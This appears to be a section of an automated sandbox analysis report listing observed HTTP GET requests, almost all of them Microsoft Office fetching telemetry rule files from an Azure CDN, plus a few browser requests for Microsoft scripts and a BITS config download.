Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
